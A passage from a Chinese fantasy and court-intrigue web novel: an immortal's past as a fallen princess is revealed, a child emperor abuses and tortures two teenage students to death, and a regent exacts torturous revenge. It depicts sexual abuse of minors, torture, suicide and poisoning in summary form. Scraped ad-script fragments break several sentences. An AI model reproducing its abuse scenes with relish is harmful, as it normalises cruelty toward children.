她被抓回偏院,整个人没哭没闹,在天微微擦亮时,一具身体就直直垂坠在了偏院的门梁上。 承桑绿绮担着陆忧妾室之名,若叫人知道她是自尽,难免又要生出一些口舌事端。 周韵仪同陆忧商量过,决定将知晓内情的下人们尽数遣返至虹州老宅,以免在各府来往时露了端倪。 奚瞳就在此时得了若妍的传信,她问奚瞳,保她离开 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陆府,看一看广阔天地,这话可还算数。 奚瞳遵守诺言,拿着银两来到陆府偏院,同若妍告别。 若妍掂了掂很有分量的荷包,有些赧然:“这些钱……此生我许是无法还你。” “无妨。”奚瞳笑着摇头。 奚瞳将若妍送出陆府,目送她走入人声鼎沸的街巷。 街巷尽头,若妍回了头:“奚瞳,谢谢你。” 这句感谢奚瞳并没有听到,但她知道,若妍全新的人生就此开始了。 …… 奚瞳回到太傅府时已经是黄昏时分,甫一进门,她便觉得有些不寻常。 太傅府的下人仆役虽也不多,但每天的这个时辰,正巧是结束了一天的差事,下人们或用饭或休息或闲聊的时候。赵臻对下人的约束并不苛刻,只要将他吩咐的事情办利落,不生事,他们的举止可以恣意一些。 所以此时本该十分热闹的,可今日府中却出奇安静。 走到待客的正厅时,奚瞳看到下人们都齐齐站在院子里,探着头往里头看。 奚瞳穿过他们,顺着他们的目光瞧过去。 赵臻此时尚未下衙,裴鸣似是正在招待一位贵客。 奚瞳打量这位客人,目光不禁郑重谨慎起来。这人端坐在正厅高座上,虽是客人,坐的却是主位。 奚瞳之所以心生肃然,是因他一头白发,容貌却十分年轻,一身青冥色长衫,是仙门才有的形制。这人……是修道之人,而且修为不浅。 奚瞳做出这个判断,只过弹指,客人便也朝她望过来,两人对视的一瞬,客人原本和煦的笑容敛起来,取而代之的,是警惕和讶然。 裴鸣见白鹭山人变了脸,顺着他的视线找到了奚瞳,便招呼奚瞳上前。 奚瞳走进正厅,裴鸣开口介绍:“山人,这便是家主同您讲过的……” “奚瞳。”白鹭山人打断裴鸣。 奚瞳俯身行了个礼:“见过山人。” “奚姑娘,老朽有个不情之请,可否让老朽为姑娘把一把脉?”白鹭山人问道。 奚瞳不明所以,但仍然将手递了出去。白鹭山人的指腹来到奚瞳的腕子上,摸的却不是她的脉搏。 奚瞳反应过来,白鹭山人不是在问脉,而是在问经。问脉问的是生死,问经问的是道行。 奚瞳生出一丝紧张,白鹭山人看着她,道出一句旁人听不明白的话。 “奚姑娘,仙凡人殊途啊。” 奚瞳心中大沉,尚未开口说什么,电光石火间,白鹭山人已经起身,指尖捻决,数道光剑在其身边列阵。 奚瞳警惕地退了两步,白鹭山人却是下了决心要找她的麻烦,他食指微转,光剑便一道道朝她飞扑过来。 奚瞳心道不好,赶紧往院子里跑,可那光剑却似长了眼睛一般,对她紧追不舍。 幸亏她虽仙术尽失,但仙根仍在,她硬生生靠着身法躲过了数十道光剑的攻击。 就在最后一道光剑直冲她眉间时,赵臻自她身后飞身而来,横在她之前,拔剑将光剑击落。 “师尊!”赵臻不解。 白鹭山人见赵臻这幅焦急担忧的模样,便知这宝贝徒儿已经深陷情网。 他叹一口气:“怕什么,为师还会真的伤了你这心肝不成?” 奚瞳站在赵臻身边,拍了拍染了灰尘的裙裾,有些气恼地看着这个什么山人。 心想真是虎落平阳被犬欺,你这老头有没有礼貌?你修为再高又如何,我可是货真价实的仙女!我若努力一点你飞升之时我说不定都可以拥有一票否决权! 60.第 60 章 奚瞳跟白鹭山人的第一次见面,实在算不上愉快。 待白鹭山人去厢房安顿之后,奚瞳百无聊赖呆在书房,总觉得自己左侧颈间有些隐隐的痛,伸手抚去,触及一点点黏腻,拿到眼前一看,指尖上沾染了已经有些凝固的小血块,以及血迹尚未干涸时析出的淡黄色清液。 原来还是被光剑伤到了。 此时赵臻走进来,看了她的动作,三步并作两步,低头俯身查看她的伤势。又转身从博古架的暗格中拿了药膏出来,用指腹轻轻为奚瞳上药。 他眉头蹙着,是担心极了的样子,可自打进来,他便无言,同奚瞳只字未说。 奚瞳敏锐地察觉到赵臻的情绪:“你在生气?” 赵臻深深看着她的眼睛,他想起方才厢房中师尊的话。 “你知道她的来历吗?” “知道,她是长秦人,后在虹州行乞。” “长秦?”白鹭山人凝神思忖,继而摇头:“为师云游四海,从未听过什么长秦。” 赵臻沉默,他先后派过许多人去查长秦之事,可都无甚结果。 “况且。”白鹭山人又道:“她方才的身手,你看到了。” 是啊,天机山道宗白鹭山人的万剑诀,奚瞳竟生生躲过去了。换做任何一个武林高手,都未必会有这样好的身法。 赵臻心中那深藏已久的不安终于浪潮一般袭来,他想起他同奚瞳相识以来的种种。 她对他的承诺是做他的门客、永不背弃他,可她从未说过爱他,哪怕是在极致疯狂的欢爱之中,她的心似乎也总有一方角落,是他永远探寻不到的。 …… “赵臻?”奚瞳开口唤他。 赵臻极少有这般发呆出神的时候,奚瞳更觉奇怪。 药上好了,赵臻依旧沉默着。 奚瞳突然就有些来了气,她已经从裴鸣口中得知,来的那个老头儿是赵臻的师尊,对赵臻有养育和传道之恩。 可那又怎么了,她也很难受。她脖子都被他师父伤了,她还没说什么,他倒先甩起了脸子,真是岂有此理。 她之前一直觉得相思中的女子质问儿郎“我同令堂掉进水里你先救哪个”纯属无理取闹,可现在她觉得首先提出这个问题的人实在有点高瞻远瞩。 奚瞳起身就要走,赵臻这才开了口。 “你到底是谁?” 奚瞳的步子猛然顿住,她心中的气闷有些淡下去,取而代之的是些许慌乱。 白鹭山人方才那句“仙凡殊途”烙印在她脑海里,烫得她浑身都疼。 下凡之前,她想的是补偿赵臻,帮助他实现愿望。可如今,她因为爱上赵臻而生出贪念,明知只是一世甚至一时的姻缘,她却沉溺其中,无法自拔。 然则痴梦终究要醒,她是天界的仙君,历完这一道凡劫,她会坐上神位。而赵臻,还要在凡世之中,经历一次又一次轮回。 她回了头:“赵臻,我是奚瞳。” “奚瞳是谁?!”赵臻咄咄逼人。 奚瞳蓦地有些心虚,微微低了头:“奚瞳是谁,很重要吗?她心里有你,陪着你,不就可以了吗?” 赵臻听了这话,心头生出委屈,他红着眼眶,起身走到奚瞳身边,灼灼盯着她:“不够!” 奚瞳抬头,看到了赵臻瞳孔里爱意与恨意交织的火光。 “赵臻……” 赵臻扳住她的肩膀,再次笃定道:“不够!我要你的心、你的灵、你的肉,我要你青春的样貌,也要你苍老的白头。我要你的今生,也要你的来世。我要你爱我、心里眼里只有我,我要你依靠我、忠于我、乃至信仰我!我要你现在和未来的时辰,我要你过去的所有!” “赵臻……” “可你一直在骗我,一直在隐瞒我!你从不是不是虹州的乞儿,这世上也根本没有一座名为长秦的国度抑或城池!奚瞳,你到底是谁?!” “赵臻,我从不曾骗你,我确是长秦人。”奚瞳认真望着赵臻。 “根本没有长秦!否则以我的势力,怎可能一点线索都查不到?!” “你当然查不到!” 赵臻步步紧逼的诘问和肩膀被他擒着产生的疼痛,让奚瞳也有些失去了理智。 “为什么?!” “因为长秦五百年前就已经亡国!”终于,奚瞳说了出来。 赵臻愣了,他反复咀嚼这句话的含义,五百年前已经亡国……五百年……前…… 那……赵臻握住奚瞳肩膀的手有些泄了气:“什……什么意思……” 奚瞳低头,眼角滑落的泪水被掩去,再抬起头,她缓缓道:“赵臻,我从未骗过你。我是长秦人,是长秦的……亡国公主。” 赵臻的脸上闪过震惊于惶惑,他一边摇着头,一边后退了几步。 赵臻的眼睛仍因泪水的洇湿而泛红,可此刻他居然笑了。五百年前的亡国公主?这是什么狗屁身份大揭秘?怎么可能?怎么可能?!!! 奚瞳平静下来,深深看着他:“五百年前,纸张还未被创造,列国的文字也未被统一,天灾频频,战争不断,人们专注眼前的生存,顾不得记录属于他们与时代的史书。赵臻,你当然查不到长秦,我的故国,已经是岁月长河里的沙尘,再也找不到了。” “所以……”赵臻颤抖的声音:“你是鬼魂?不……不可能,我抱过你、吻过你、与你灵肉交缠过,你的体温是暖的。你不是鬼魂!” 奚瞳有些伤感地笑了:“我当然不是鬼魂,我不是告诉过你许多次吗?我是仙女。” “仙女……” “长秦亡国那日,我于城墙刎颈,以身殉国,身死之后,魂魄凌空,望见仙门大开,自此跻身天庭。” 奚瞳的话如闷雷一般一声声炸在赵臻耳畔,他很想怒斥奚瞳妖言惑众,可他忽得就想起了他自年少时就一遍遍做着的那个梦。 梦中高耸的城墙之上,一个白衣女子不知疲倦地旋转舞动,他拼了命的朝她跑,却无论如何也近不了她的身。 思及此处,赵臻突感一阵眩晕,这迫使他闭上了眼睛。 那个梦以幻境的形式再次出现在他眼前,熟悉的圆月高悬,熟悉的石砖高墙,熟悉的白色身影,只是这一次,周围出现了嘈杂之声,那是马蹄、刀剑、厮杀、求饶交织在一起的嘲哳。 幻境里的赵臻奋力朝城墙跑去,他劈杀了所有阻拦他的人,用尽所有的力气朝她飞奔着。 这一次他终于爬上了城墙,他同她之间,不过两丈之距。 可女子已然将长剑横在了她的颈上。 “不要!公主!!!”梦中的赵臻急吼。 可还是晚了,鲜血从女子颈子上奔涌而出,如注的血流那般强劲,甚至有一滴飞溅在他的眼角。 下一刻,她的身子已经完全脱力,从高墙坠落下去。 赵臻伸出手,企图拉住她,可只看到她粉身碎骨前,弥留之际的最后一丝笑容。 “轰!” 赵臻听到她骨骼碎裂、血肉模糊的声响,幻境也在这惨烈的声音里就此消散。 赵臻睁开眼睛,他额头上早已满是大汗,他似是想起了什么,疾步走向屏风之后。 这里虽是书房,但他时常同奚瞳在此同眠,所以他也为她准备了妆龛。 他走向铜镜之前,望着镜中的自己,他颤抖着抬起手,触摸自己在幻境之中被奚瞳之血所溅到的眼角,那里现在,是一颗泪痣。 赵臻笑了,眼泪也流出来,所以,是真的。 奚瞳说的一切,都是真的…… 他微微转头,便看见铜镜之前放着的铃兰发簪,那个斑驳的、满是锈痕,乃至已经毫无美感的簪子,永恒地安然地放在那里。 他满目苍凉地将簪子拿起来。 “送你簪子的是你的情郎?” “不,是我的仇人。” “你对你仇人挺好啊?” “他对我也不错。” 初相识时锦城城郊河畔的对话言犹在耳,赵臻突然就生出一种预感。 奚瞳已然走到了他的身后:“赵臻……” 赵臻没有看奚瞳,只看着眼前的铃兰发簪,他深吸一口气,问道:“我同他很像,是吗?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “谁?”奚瞳茫然。 “那个送你簪子的……仇人。” 奚瞳明白了他的意思,也有些慌了:“不是你想的那样,赵臻,你们并不是像,而是……你就是他,是轮回之后的……” “我不是!”赵臻霍然起身,他痛苦地看着奚瞳:“所以,你留在我身边,只是因为,我是他的所谓转世,对吗?” “赵臻,你……”奚瞳没有想到赵臻对这件事的反应如此剧烈,一时有些失了方寸。 “奚瞳,我只是我。我是大盈的赵臻,不是长秦的赵臻。所以,你从未爱过大盈的赵臻,对吗?” “当然不是。” 奚瞳伸手攀上赵臻的小臂,却被赵臻一把甩开。 “少爷。”裴鸣此时走进书房,听到二人似在争执,一时生了犹疑。 赵臻整理了情绪,清了清嗓子:“何事?” “黄门侍郎来报,宫中有事,希望您尽快进宫一趟。” “好。” 赵臻头也不回地走了,留下奚瞳颓然一人。 她从天明站到天黑,五百年前和这一年多的种种在脑海里一遍遍重演。她不明白为什么赵臻将此事看得那般重要,两个赵臻明明是同一个人。 可想的久了,她的内心竟也有个声音在问她:“若两个时空的赵臻同时站在你面前,你会选哪个?” 奚瞳抬眸,昏暗的书房里竟真的有了两个身影。 长秦的赵臻头戴帽冕手执拂尘,容貌俊美的仿似妖孽,一双眸子看着她,深邃莫测,让她看不透,猜不明。 大盈的赵臻则玉冠束发腰别长剑,一样的玉树临风,可脸上没有了阴鸷之色,有的是独属于王者的威严,望向她的眼睛里尽是柔情。 两人同时朝她伸出手。 “殿下。” “奚瞳。” 两人又一齐开口唤她。 奚瞳反复看着她眼前伸来的两只手,她尝试着握住其中一只,却无论如何也做不到,最后只能逃也似地离开了书房。 院子里,鹤发童颜的道宗已经等在那里。 奚瞳顿住了脚步。 白鹭山人含笑望着她:“玄度半年前给我写信求我下山,但我彼时正在闭关。” 奚瞳走出廊下,来到院中,站在了白鹭山人的身边。 山人接着道:“十年前,当他决意从天机山回京之时,我便知道他已经打定主意,要夺高家的天下。临别前,我告诉他,宗门不侍皇权,我帮不上他。但多年师徒,我可许他一个愿望。” 奚瞳颔首:“我虽不知当今世道江湖门派的地位,但我听林载说过,九州之上各有道宗,其他人羽化的羽化,藏身的藏身,只有您尚未避世,主持着江湖的公道。若您愿意帮赵臻,他改朝换日、逐鹿天下,应该会容易很多。” “江湖之所以是江湖,在于其侠义和自由。若折腰走进权力的漩涡里,我这老道怕是会为四海游侠所鄙弃。玄度走下天机山的那一刻,我便知道,师徒一场,终须一别。” “可您还是来到了太傅府。”奚瞳道。 “因为他许下了愿望。不过这愿望实在让我意外,我本以为他会求些别的,更实际一些的,去助力他的宏图大业。”白鹭山人笑了,眉眼之间无限慈爱:“他说他心悦一个姑娘,想要娶她为妻,可这姑娘出身寒微,他想让我收这姑娘为义女,让整个江湖给她做靠山。” 为……妻…… 白鹭山人的话让奚瞳先是大感震惊,继而便是汹涌的感动,赵臻嘴上说着因她身份低微不会给她名分,但实际上,却早已为她做起了打算。 奚瞳的鼻根不由酸楚起来。 “我这徒儿啊,是个执拗的,认准的路,就一定要走到底。复仇是,夺权是,娶他所爱……亦是。”白鹭山人盯住奚瞳:“所以仙君,我虽不知你因何下凡,也不知你因何看上我这徒儿。但你若不能陪他一生一世,就长痛不如短痛,趁早断了吧。老道言尽于此,还望仙君好生思量。” 奚瞳独自在月光下站了良久。 方才内心的那个问题,仿佛有了答案。 61.第 61 章 奚瞳站在太傅府门口来回踱步,可直到深夜,也没等到赵臻的车辇。 奚瞳等不到,只好回了书房。书案上还有一些奏书没看,赵臻从不拖延政事,他若回府,一定会先来这儿将奏书批阅了。奚瞳希望他能知道,她一直在等他。可奚瞳接连在书房宿了三日,依旧没有等到赵臻回来。 起初她以为是赵臻恼了她,不愿回府见她。可这一日她去街上采买食材,想给赵臻做些他爱吃的点心,路上遇见一个疯妇,才知道宫里或许真的出了事。 那疯妇衣衫褴褛,一看就是贫苦人家出身,她在街头发了疯的奔跑,边跑边呼喊:“什么荣华富贵!什么高官厚禄!我只要我儿子!把儿子还给我!陛下如此不仁!大盈就要亡了!他们高家就是一些疯子,是祖上就造了孽的!大盈就该亡啊!可亡就亡,为什么要来害我儿子!儿啊!儿啊!!!” 妇人声声泣血,字字句句都是对皇帝和王朝的诅咒,来往行人有些害怕地看着她,一个个噤若寒蝉,生怕她这样大逆不道的罪过波及到路过的自己,避之唯恐不及。 唯有墙根儿下的老乞丐见奚瞳驻足,又见她衣着虽素,但料子上好,料想她是富贵人家的,便江湖义气作祟,开了口,想替这疯妇人解释一番。 “可怜啊,不久之前他儿子说是去读书,可再从宫里出来,已经是棺材里的枯骨。这世道,哪里有穷苦人的活路哟~” 奚瞳却将这些话听到了心里,她去陆府找周韵仪,才知道陆忧也已经两日不曾回府了。 “究竟怎么回事?陆忧同你说了吗?”奚瞳问道。 周韵仪点了头:“我只知道大概。” 宫中的确出事了,这次造孽的是当今的小皇帝高澈,还有他的表哥伴读,周正的孙子周麟。 赵臻从去年年关上开始,便有心改变朝廷选拔官员的制度,由举荐和定品改为奚瞳所说的出题考校。但这是桩大事,不是一蹴而就的。赵臻便想着,现在京中试试看。 宫中有宫学,民间有书院,但无论哪里,都是是世家子弟或者家境比较殷实的百姓才能读书,穷苦人家的孩子,是求学无门的。 为了广纳贤才,赵臻便在宫中又办了一间学塾,名为青云书院。自打过了年关,他便派苏木和京城中正官一同去民间选拔了一些穷人家的有志子弟,算是给他们一个读书的机会,也为他们将来考试做官铺一铺路。 苏木他们共计选拔了十数人,年龄最小的十二,最大的十九,让内廷的掌事在宫里给他们安排了住处,平日里读书,学塾休课时,他们可以回家,也可以留在宫里,帮着宫人们做些活计,挣些细软,补贴家用。 前几个月相安无事,可半月前,原本应在宫学读书的陛下不知为何起了兴致,想去这所寒门学塾看一看,于是便同他的伴读、也是他的表哥周麟一起,到了青云书院。 就这一眼,他们便相中了两个书生,一个叫江甲,年十四,一个叫齐刚,年十五。看上的理由,是因为此二人容貌姣好,秀丽如女子。 不顾学塾教书翰林的阻拦,陛下和周麟当场将这二人掳了去。 孩童之恶是天底下最为纯粹也最为极致的恶,这一点早就在小皇帝高澈身上得到印证。 先帝曾经养了一只东海大龟,求的是福寿,先帝不曾长命百岁,但这乌龟却是个长寿的祥瑞。陛下殡天时,那大龟的年纪已百岁有余,高澈小小的眼睛盯着池塘里浑浊的龟目,他笑着问他身边的内侍:“你们说大龟若是没了壳会如何?” 后来,那只大鬼便被巨斧劈开了背壳,很快就一命呜呼了。 高澈三四岁时,曾经养过一只白色小狗,平日里是宫女们照顾,若高澈远远听到一声狗叫,便会觉得是宫女没有照顾好他的灵宠,等待宫女的只有酷刑。可在一年前,吃着鹿肉羊肉的小皇帝突然说了一句“不知狗肉是何香味”,当天夜里,那只小白狗就成了他的盘中餐。 高澈对待动物是这般残忍,对待人更是。 高澈如今已经八岁了,可仍喝母乳,十数位奶娘在小皇帝的寝殿里,一概不许穿衣,只为随时能哺育这位陛下。 陛下喜欢看动物,太监宫女就要夏天穿兽皮,冬日披鳞甲,为的是扮作各种珍兽让陛下骑坐,有时候还要如野兽般相互缠斗啃咬,直至一方死去。 后来不知高澈从哪里翻出来一本春宫图,便命令能行人事的侍卫压倒宫女或太监,将图上的内容表演给他看。 宫城彼时由周正把持,赵臻上位后,一步步将宫城的掌控收紧,可唯有小皇帝,是周正最后的底线,他怕赵臻挟天子令诸侯,所以在陛下寝殿里放足了自己的人手。他的孙子周麟更是在宫里陪高澈长大,为的就是将来高澈掌权,周麟也能延续周家的荣耀。 赵臻本也睁一只眼闭一只眼,他懂穷寇莫追的道理,不急于一时。可某天赵臻亲眼目睹了一场陛下寝殿的淫/戏,他勃然大怒,当场处死了在一旁看热闹纵容高澈的宫人,又罚高澈和周麟抄了三天书。 经此一事,周家对他更为忌惮,高澈也在很长一段时间里有所收敛,不知此次为何又起了兴致。 齐刚和江甲在高澈宫里受尽凌辱,在数次奸污、数轮酷刑之后,两人已经没有了生的欲望,一心求死,可偏偏高澈觉得不够,非要吊他们一口气。于是见两人嘴干,他便命人给次二人喂尿;闻二人肠饥,便命人给他们二人塞茅厕的泄物。 他们足足被折磨了七天,赵臻得知消息时,这二人已经咽了气,浑身上下没有一块干净完好的皮肉。 江甲和齐刚的死终究掀起了波澜。 宫中两所学塾的学生虽是全然不同的门第,但在这样门阀并起的乱世里,他们其实有相同的初心。富贵的那些不曾依赖门第、放弃努力,贫穷的那些不曾自怨自艾、低头认命,他们都怀揣着读书入仕的志向,走进了宫城,故而多少有些惺惺相惜之感。 读书人这般死去,是奇耻大辱,他们咽不下这口气。 于是一时之间,宫城内乱,书生们拿起了棍棒,一路打到大朝晖殿,要求赵臻给他们一个说法。 然则这件事哪有那么好办,犯错的是皇帝和大门阀周家的嫡亲孙子,赵臻势必有所顾忌;可这些书生又是大盈朝堂未来的肱骨,赵臻也不能不顾他们的尊严和利益。 这几日,他同陆忧宿在宫城,为的就是这件事。 “我要进宫。”奚瞳道。 “你进的去吗?”周韵仪问。 “我有赵臻的令牌,宫城守卫是林载的人,应当不会拦我。”奚瞳笃定。 “我……” 奚瞳见周韵仪犹豫,当即宽解道:“我知道,你是周家的,陛下要喊你一声姨母,你去了夹在中间,反倒为难。陆忧对此想必也知道的。” 周韵仪愣了愣,继而苦笑:“他知不知道又有什么所谓。” 奚瞳不多耽搁,起身就要走,临走前她有些不放心,回头解释了一句:“韵仪,陆忧若真把你当周家的人,提防着你,这件事他压根就不会同你讲。” 周韵仪抿了抿嘴唇:“我知道了。你进宫小心,尤其是太后。” “放心,我不会在她身上吃两次亏。” …… 奚瞳想去宫里,是因为她了解赵臻,赵臻虽一向声称自己并非君子,但他心中对“善”的定义几乎是一种铁律,犯律者势必要付出代价,无论是旁人还是他自己。 朝中的老狐狸在近来一桩桩政事中,想必能品到赵臻想要问鼎天下的意图,但在忙于生计的百姓眼里,赵臻和陛下是一条船上的。 如今陛下做出这等恶事,他和赵臻,总有一人要脱一层皮肉。 奚瞳怕赵臻弑君,更怕赵臻伤己。她得去陪着他。 除了赵臻,奚瞳也有自己的私心。 在长秦做公主时,她便一直在宫学里,教授年幼的世家子弟读书。 这两个读书人受辱致死,她心中亦有不平,想去看看赵臻能否为他们讨一讨公道。 奚瞳赶到宫城时,暮色沉沉,宫/道上掌了灯。 她藏身在一处梁柱旁,看到陛下的寝殿里,赵臻端坐于主位,周怀淑站在一旁,小皇帝则满脸不在乎,站在二人中间。席间还有十数个大臣,有赵臻的心腹,也有周正的朋党。 “赵臻你什么意思?!自古以来,君要臣死,臣不得不死。陛下不过是一时贪玩,不小心伤了两个书生性命,穷人家嘛,给些银两就好啦。”叫嚣的是周演:“你端这副架子是要做什么?!你要弑君不成?!” 奚瞳心中冷笑,一场虐杀,在他们眼里,竟被“不小心”三字轻易揭过了。 “周大人此言谬之!”陆忧正色道:“江甲齐刚二人遭受凌/辱,七日方死,在你眼里,只是意外吗?” 周正此时开了口:“无论是不是意外,你我做臣子的,难道不该保陛下清名?赵臻,你这两天已经处死了当日在场的所有宫人,就连老夫送来照料陛下的乳母,也有两位在你手下丧命,江家和齐家,我也已经派人送去了恤银,你还要如何?” 赵臻一双鹰目,寒意彻骨:“陛下做出此等残忍之事,理应受罚。江齐两家最应得到的并非钱财,而是公道。” “公道?!他们还要什么公道?!”周演道:“当朝大司徒亲自给他们送恤银,这还不够给他们脸面吗?!” 小皇帝此时也走到赵臻身边,伸手摇了摇赵臻的袖子:“亚父,我不是故意的,我还小呢。” 看到这一幕的奚瞳胃里生出一阵恶心,高澈哪里是个寻常的孩子,俨然是成了精的恶灵。 赵臻转头看向高澈,满目杀意,高澈吓得后退 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两步,躲到了周怀淑身后。 众人默然片刻,赵臻突然就笑了,笑过之后,他双眸染了狠戾:“看来刀剑不劈到自己身上,是永远不知道疼的。来人,把周麟带上来。” 周正和周演急朝一旁看去,只见十三绑了一个少年从偏门里走了进来——正是周正的孙子、周演的儿子周麟,也是那日陪伴陛下到青云学塾“选人”的伴读。 “祖父!父亲!救我!救救我!” “赵臻你掳我孙儿,究竟为何?!” 周正这才慌了,他明明已经派人将周麟送出城,怎么会落到赵臻手里。 赵臻没有回答,只冷声道:“方才周大人说,陛下只是一时贪玩。赵某听一些宫人说,那七天的游戏里,令郎也玩得十分痛快,有时候陛下都玩累了,想歇一会儿,令郎却不尽兴,要彻底满足了自己的淫/欲和杀欲才好。既然这么喜欢,不妨就再玩一次。” “什……什么意思,赵臻你什么意思?!”周演仓皇质问。 “那七日里,江甲和齐刚经历了什么,周麟要同样经历一遍。七天之后,无论是生是死,赵某都会将他送给江齐两家,任凭他们处置。”赵臻的笑容里带着残忍。 “赵臻!你敢!”周正目眦欲裂。 “周麟是你们周家这一辈唯一的男丁,我本不想将事做绝。只要陛下诚心认错,甘领责罚,他叫我一声亚父,我也自当替他料理。”赵臻的语气带了笑:“可你们偏偏,敬酒不吃吃罚酒。” “你……” 周党一时慌了神,跪着的周麟却反应过来了。 他用尽力气挣脱了十三,跪到赵臻跟前:“太傅大人!太傅大人明鉴!是陛下指使我的啊!我只是一个伴读,若无陛下授意,我岂敢在陛下寝殿放肆啊。” 周怀淑见外甥指控自己的儿子,出声斥责:“周麟!” “太傅大人我知错了,您饶了我啊太傅大人,我再也不敢了!”周麟涕泗横流,全无尊严。 赵臻抬手,招了高澈:“陛下,周麟说是受您指使,大丈夫敢作敢当,他说的若是事实,陛下理应承担责罚,但若不是……” 高澈不明白赵臻说的责罚是什么,但看到周麟一把鼻涕一把泪、又抖若筛糠的模样,心里也生了畏惧。 “是他!是他干的!不是我!”小皇帝指着周麟,斩钉截铁道。 赵臻满意一笑,可目光里尽是苍冷,他捏住高澈的下巴,打量这个孩童的脸,不一会儿,高澈便畏惧地大哭起来。 周怀淑赶紧上前揽住高澈:“玄度,澈儿才八岁,你别吓唬他。” 赵臻将高澈放开,看向周正:“犯了错,攀咬圣上,周麟罪加一等。拖到院子里,开始行刑,让阖宫里的人好好看看,周公子平日都同陛下玩的什么游戏,看日后谁还敢贪玩。” 周麟被拖出去。 “祖父!祖父!父亲我不想死啊!父亲救我!!!救我!!!” 可在场的人都知道,没有人能救他。 小皇帝方才那一指,已经定了周麟的生死,偏偏用的就是周党方才鼓吹的那套道理——君要臣死,臣不得不死。 赵臻谋逆与否,尚无定论,但若周家执意要保周麟,大逆之罪便就此做实。 “儿啊,我的儿啊!”周演急得直跺脚。 周正只觉胸中一阵闷痛,他弯下腰,一手抚着胸口,一手指着赵臻:“赵臻!赵臻!你这般嗜杀暴虐,不怕报应吗?” 赵臻笑着起身,一只手缓缓搭上他的肩膀:“世伯,今日究竟是谁的报应?” 周正的瞳孔缩了缩,脑海里浮现老友赵燊死前的模样。 赵燊被枭首那日,他去观刑,血溅刑台,那落下的头颅刚好滚到他的脚边,赵燊的一双眼睛死死盯着他…… 周正突觉一阵心悸,在旁人搀扶下才勉强站稳。 院子里传来一阵阵周麟的嘶吼求饶,周怀淑捂住了高澈的耳朵。 赵臻看了,含笑将她的手从高澈的双颊拿下来。 “陛下应当听一听的,否则再有下次,不知还有没有人顶他的罪。” 周怀淑有些惊恐地望向赵臻,这句话是……什么意思…… 周麟的声音太过凄厉,高澈抱着周怀淑开始大哭:“母后!母后我害怕!你让他们都走开!母后!” 周怀淑含泪望向赵臻,无助地重复着求情的话语:“玄度,他才八岁啊,还是个孩子。” 赵臻的笑容从脸上跌落:“周怀淑,你不记得了吗?赵吟死的时候,也是八岁。” 周怀淑闻言,双腿有些瘫软,她将高澈紧紧护在怀里。 奚瞳在廊下,远远看着这一切,看似是赵臻既平了事,又报复了周家,可她知道赵臻并不痛快,她知道赵臻很疼。 他疼,她便也觉得疼了。 62.第 62 章 陛下寝宫里嘈杂未歇,周麟在院子里鬼哭狼嚎,可赵臻犹觉不够,小皇帝也必须为自己的罪责付出代价。 奚瞳看到寝宫偏门有几个宫女端着几个碗盏走出来。碗盏是空的,但底部却在月亮和宫灯的映照下,泛出诡异的蒙了尘的金黄光泽。 奚瞳蹙眉,这样的颜色,她似是在哪里见过。 她迎上去,宫女们不知她是谁,也不知她意欲何为,但她们都没了斗志,去对这个陌生的没有规矩的女子进行阻拦。 她们只是陛下宫里最低阶的洒扫女婢,今日她们的上峰中,内侍女官死了许多,就连周麟公子都是这般下场,她们的手脚早就已经吓得冰凉,好不容易得了青璃女官的眼色,让她们收拾东西离开,她们提着的那口气才终于松下来。 奚瞳拿出太傅府的令牌,宫女们心又紧起来,噤若寒蝉。 “别怕。”奚瞳看出了她们的慌乱:“我只是想问问,你们拿的什么。” 一个宫女吞了下口水,壮着胆子上前一步:“陛下和周公子……不,周麟,同……同下人们做游戏时喜欢喝……喝酒助兴,这是……这是他们用过的碗盏。” 喝酒……奚瞳拧眉,陛下才八岁,周麟虽说年长些,但也不过就是十三四岁的年纪,居然已经开始贪杯了吗。 碗盏中的“金砂”尚未干涸,奚瞳走近之后,隐隐闻到有些怪味,她伸手剜了一指,放在鼻下。随着味道进入鼻腔,奚瞳也想起了这是什么东西。 “半山骨……”奚瞳喃喃。 长秦时,父王晚年阳虚,又好美色,天下医者皆无办法,父王便寻了术士,得了这味名为“半山骨”的药方。 父王为济色/欲,对此药爱不释手。他服后确实精神好了许多,但终日多汗,面色潮红。因长秦国土本就湿热,奚瞳又不常见到王上,故而没有注意,还是赵臻发现了不对,找奚瞳请了公主府的旨,抓了那个术士。 赵臻对术士用了酷刑,术士道出了半山骨的制法。 半山骨由多种石料研磨而成,丹砂、雄黄、钟乳、曾青、白矾、紫石英、赤石、磁石…… 人们服用之后,神明开朗,体力大增,而且会产生令自己十分快乐的幻觉,但这其实是一种中毒。 在父王服用半山骨之前,这术士已经在民间靠着这味药赚足了银钱,后来赵臻处死了术士,也将查抄的半山骨尽数焚毁。 没想到,竟在这里又见到了它…… “奚姑娘好眼力。” 一道声音从奚瞳背后传来,奚瞳回头,是周潮。 宫女们一一退下,周潮走到了奚瞳身边,奚瞳的精神紧绷起来。 她不喜欢周潮,他虽是赵臻的部下,但奚瞳觉得他不同于陆忧苏木他们,周潮太阴诡,让人不舒服。 周潮看透了奚瞳的戒备,露出笑容,不以为然。 “奚姑娘不必紧张,我既敢在陛下的酒水中加这味半山骨,便不怕别人知道。” “你给陛下下药?”奚瞳的眉头展不开,她不解。 周潮笑意更深:“这有什么,半山骨是极受世家推崇的一味‘补药’,千金难求呢,我献给陛下,正是我这做舅舅的一片诚心,有什么可指摘的?” “可你分明知道半山骨有毒。”奚瞳笃定道。 周潮的笑容敛起来,坦荡承认:“是。” “为什么?你是陛下的亲舅舅……” “奚姑娘问出这句话,不觉得自己天真吗?如今的世道,亲族相残、挚友相杀,这样的例子还少吗?” 奚瞳默然。 周潮看了眼前这个小姑娘,朝中对她议论的很多,上次大朝晖殿清谈之后,他们都说赵臻帐下没有闲人,可今日一瞧,也不过是个善心泛滥的女子。 想不到,赵臻这种心思奇诡之人,竟喜欢这样的姑娘。 不过天真也有天真的好,想让赵臻彻底放下戒心,她倒是条好路子。 周潮微微叹了口气,将自己积攒多时的心里话说了出来:“赵臻自诩枭雄,然他想做皇帝,仍是善心有余,手段不足。高澈年幼,他下不了手,我做幕僚的,自然要替他分忧。” “可你到底是周家人。” 